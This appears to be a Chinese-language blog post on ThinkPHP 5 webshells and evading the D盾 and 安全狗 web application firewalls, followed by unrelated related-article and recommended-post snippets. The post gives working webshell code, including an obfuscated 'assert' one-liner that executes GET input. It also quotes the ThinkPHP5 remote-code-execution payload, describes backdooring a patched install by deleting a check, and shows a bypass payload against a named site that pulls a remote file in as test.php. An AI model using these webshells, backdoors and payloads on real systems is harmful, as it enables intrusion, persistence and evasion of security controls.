thinkphp下的Webshell&&php过D盾一句话
环境:
Thinkphp 5.0.15
PHP version:7.0.12
WAF: D盾 ,安全狗
Thinkphp 采用 MVC 模式 核心:模块 -> 控制器 –> 方法
思路:利用已经有的think 类包库 去做一些事情
利用已有的功能,顺便对D盾 绕过
方法:
Payload1:
Payload2:
代码:
<?php
namespace app\index\controller;
use \think\App;
class index
{
public function index($f,$shell)
{
$a=new App();
$c=$a->invokeFunction($f,$shell);
return '</br> sucess'; }
}
关于用这个的来源:
Thinkphp5 rce 漏洞 其中一个payload 是这样的
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
漏洞原因:默认没有开启强制路由,路由控制不严谨,可以执行自己需要的类库
在think 类库中找到自己需要的功能,进行触发调用
先贴一个不需要thinkphp 环境下 过D盾 和安全狗的 马
<?php
function invokeFunction($function, $vars = [])
{
$reflect = new ReflectionFunction($function); return $reflect->invokeArgs($vars);
} $function='a'.'ssert';
$vars=$_GET[1]; invokeFunction($function,$vars); ?>
还有一种思路,创建类或者函数,进行包含绕过,有兴趣的可以自己试一下。、
然后对于thinkphp 权限维持的思路,因为本身内核存在RCE, -这里假设打了补丁的RCE 被某洞获得到权限
演示以thinkphp 最新版本 5.0.24
在Think\app.php 文件内,把! 删掉 就可以继续RCE 了 (只是提供一种维持思路)
后来想了下,这样对整个站点都不安全了,不适合维持。可以在前面在加一段IF 开关条件 符合就不执行preg_math 这一段,对RCE的漏洞入口进行一个管理操作~
就可以继续任意执行了
tp 在 5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10。 在模板调用的时候 有任意文件包含漏洞,可以自己写一个,当作后门。
附赠:
关于thinkphp rce 绕WAF or 宝塔
这里用了宝塔做测试:
http://yishangtv.com/index.php?s=&echod=copy(%22http://www.letv.cloud/ad.txt%22,%22test.php%22)
_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod
思路:绕敏感函数,和正则匹配
thinkphp下的Webshell&&php过D盾一句话的更多相关文章
- thinkphp下通过页面链接传递的参数获取一次后失效
在thinkphp下通过页面链接传递的参数获取一次后失效,ajax内部无法再次使用.想要使用必须再次用js获取其值,通过ajax传递给后台使用. 1.通过页面链接传递参数给下一页 2.可以再下一页后台 ...
- 理解钩子Hook以及在Thinkphp下利用钩子使用行为扩展
什么是钩子函数 个人理解:钩子就像一个”陷阱”.”监听器”,当A发送一个消息到B时,当消息还未到达目的地B时,被钩子拦截调出一部分代码做处理,这部分代码也叫钩子函数或者回调函数 参考网上说法 譬如我们 ...
- Thinkphp下嵌套UEditor富文本WEB编辑器
UEditor是由百度web前端研发部开发所见即所得富文本web编辑器,具有轻量,可定制,注重用户体验等特点,开源基于MIT协议,允许自由使用和修改代码... 本文实际操作于ThinkPHP框架下,现 ...
- kali下的webshell工具-Weevely
Weevely ------------------------------------------------ 主要特点: · 隐蔽的类终端的PHP webshell · ...
- thinkphp下判断状态值语法
在thinkphp框架下我们经常会用到状态值的判断:但是这样写会引起语法错误. <div> <if condition="{$res.status} eq '0'" ...
- thinkphp下实现ajax无刷新分页
1.前言 作为一名php程序员,我们开发网站主要就是为了客户从客户端进行体验,在这里,thinkphp框架自带的分页类是每次翻页都要刷新一下整个页面,这种翻页的用户体验显然是不太理想的,我们希望每次翻 ...
- ThinkPHP 下如何隐藏index.php
最近一直在做孕妈团的项目,因为部署到实际项目中出现了链接打不开的情况,要默认添加index.php才能正常访问. 当时忘了是Tinkphp的URL重写模式:以后遇到相同问题,首先要想到URL重写模式. ...
- ThinkPHP下隐藏index.php以及URL伪静态
第一种方法: 设置url的重写模式(默认模式是1) 'URL_MODEL' => 2, // URL访问模式,可选参数0.1.2.3,代表以下四种模式: 第二种方法: 使用Apache来进行设 ...
- ThinkPHP下使用Ueditor
在做课程设计的时候想到用百度的Ueditor,可在配置的时候出现了一些问题 Ueditor感觉不是很难,以前有个人定制的,现在取消了这项服务,但是我们可以自己进行配置 下载地址:http://uedi ...
随机推荐
- 从谷歌面试翻车到offer收割的心路历程
首先声明,这只是我的播客随感,其中无法避免有一些个人色彩的见解,请不要在意,我尊敬任何的互联网公司,尊敬研究生期间的老师同学,我只希望给在求学路上的CS同学一些启发. 先介绍一下背景,我是ACM铜牌退 ...
- Golang中的Gosched、Goexit、GOMAXPROCS
Golang进程权限调度包runtime三大函数Gosched,Goexit,GOMaXPROCS runtime.Gosched(),用于让出CPU时间片,让出当前goroutine的执行权限,调度 ...
- Java程序员必备:序列化全方位解析
前言 相信大家日常开发中,经常看到Java对象"implements Serializable".那么,它到底有什么用呢?本文从以下几个角度来解析序列这一块知识点~ 什么是Java ...
- 设计模式中巧记I/O
一.I/O 1. I/O操作中的设计模式 概要 以设计模式角度,自顶向下理解I/O源码结构 理解字节与字符的关系 1.1 装饰者模式(输入流为例) 背景:通过继承扩展对象耦合度高,使用装饰者扩展可以在 ...
- DNA sequence HDU - 1560(IDA*,迭代加深搜索)
题目大意:有n个DNA序列,构造一个新的序列,使得这n个DNA序列都是它的子序列,然后输出最小长度. 题解:第一次接触IDA*算法,感觉~~好暴力!!思路:维护一个数组pos[i],表示第i个串该匹配 ...
- S7通信协议之你不知道的事儿
在电气学习的路上,西门子PLC应该是我的启蒙PLC,从早期的S7-300/400 PLC搭建Profibus-DP网络开始接触,到后来的S7-200Smart PLC,再到现在的S7-1200/150 ...
- 19.SpringCloud实战项目-SpringCloud整合Alibaba-Nacos配置中心
SpringCloud实战项目全套学习教程连载中 PassJava 学习教程 简介 PassJava-Learning项目是PassJava(佳必过)项目的学习教程.对架构.业务.技术要点进行讲解. ...
- sudo -s 命令 [oh-my-zsh] 提示检测到不安全目录
运行sudo -s 命令时,[oh-my-zsh] 冒出下面一大堆提示: [oh-my-zsh] Insecure completion-dependent directories detected: ...
- 【山外笔记-SVN命令】svnlook命令详解
本文打印版问文件下载地址 [山外笔记-SVN命令]svnlook命令详解-打印版.pdf 一.命令简介 svnlook是检验Subversion版本库不同方面的命令行工具,不会对版本库有任何修改,只是 ...
- C# WCF的通信模式
wcf 通信模式一般分为三种; 1,请求/响应模式 2,单工模式 3,双工模式 一,请求/响应模式 请求/响应通信是指客户端向服务端发送消息后,服务端会向客户端发送响应.这也意味着在接收到服务的响应以 ...